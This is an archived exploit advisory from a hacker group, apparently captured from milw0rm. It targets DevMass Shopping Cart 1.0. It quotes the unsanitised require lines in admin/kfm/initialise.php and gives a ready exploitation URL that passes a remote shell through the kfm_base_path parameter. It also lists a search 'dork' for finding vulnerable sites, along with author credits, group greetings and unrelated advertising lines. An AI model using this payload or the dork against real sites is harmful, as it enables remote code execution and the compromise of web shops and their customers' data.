DevMass Shopping Cart <= 1.0 Remote File Include Vulnerability
December 11th, 2008Sponsored by :
Fast & Easy Club Flyers in Full Color at imageMEDIA.com
Save 20% sitewide on all mobile apps at Handango with code SAVE20NOW
Find and Choose the Best ANTIVIRUS protection for your PC and Save Big! Expires 16.01.09
Wedding Dash® 2: Rings Around the World is available for purchase from Shockwave!
Free LinkShare Membership! Enjoy the benefits of partnering with 400 top online merchants.
Fast & Easy Club Flyers in Full Color at imageMEDIA.com
Save 20% sitewide on all mobile apps at Handango with code SAVE20NOW
Find and Choose the Best ANTIVIRUS protection for your PC and Save Big! Expires 16.01.09
Wedding Dash® 2: Rings Around the World is available for purchase from Shockwave!
Free LinkShare Membership! Enjoy the benefits of partnering with 400 top online merchants.
====================================================================
|| ## ## ## ########## ####### ######## ||
|| ## ## ########## ########## ## ## ## ||
|| #### ########## ## ## ####### ######## ||
|| #### ## ## ## ## ## ####### ## ||
|| ## ## ## ## ## ########## ## ## ## ||
|| ## ## ## ## ## ########## ## ## ######## ||
====================================================================
====================================================================
[*] DevMass Shopping Cart <= 1.0 Remote File Include Vulnerability||
[!] Download : http://www.devmass.com/downloads/ ||
devmass.cart.1.0.tar ||
[!] Author : S.W.A.T. ||
[!] Site : wWw.XmorS.CoM - wWw.SvvaT.IR ||
[!] Y!ID : Svvateam ||
[!] E-Mail : S.W.4.T@hackermail.CoM ||
[!] Location : Iran - 071 ||
[!] Risk : Moderate ( High ) ||
[!] Dork : DevMass Shopping Cart ||
====================================================================
====================================================================
Vuln. code: admin/kfm/initialise.php ||
||
require $kfm_base_path.'includes/lang.php'; ||
require $kfm_base_path.'includes/db.php'; ||
require $kfm_base_path.'includes/object.class.php'; ||
require $kfm_base_path.'includes/session.class.php'; ||
require $kfm_base_path.'includes/file.class.php'; ||
require $kfm_base_path.'includes/image.class.php'; ||
require $kfm_base_path.'includes/directory.class.php'; ||
||
||
====================================================================
[*] Exploitation : ||
||
[target]/[path]/admin/kfm/initialise.php?kfm_base_path=[Shell] ||
||
====================================================================
[!] We Are : Scorpiunix - Kamy4r - S.W.A.T. - D3vil_B0Y_Ir - ||
[!] The_Editor - Silliconic - Sh3llH3ll ||
||
[!] I Love Xmors & All Member Of Them ||
||
[!] DeltaHackingGroup = ( Lammers Group
) ,,!,, ||
||
[!] Special Thanks To : Dj7xpl From Y! UnderGround Group ||
||
[!] Tnx 2 : Str0ke - Google - SourceForge ||
====================================================================
(Captured From milw0rm.com)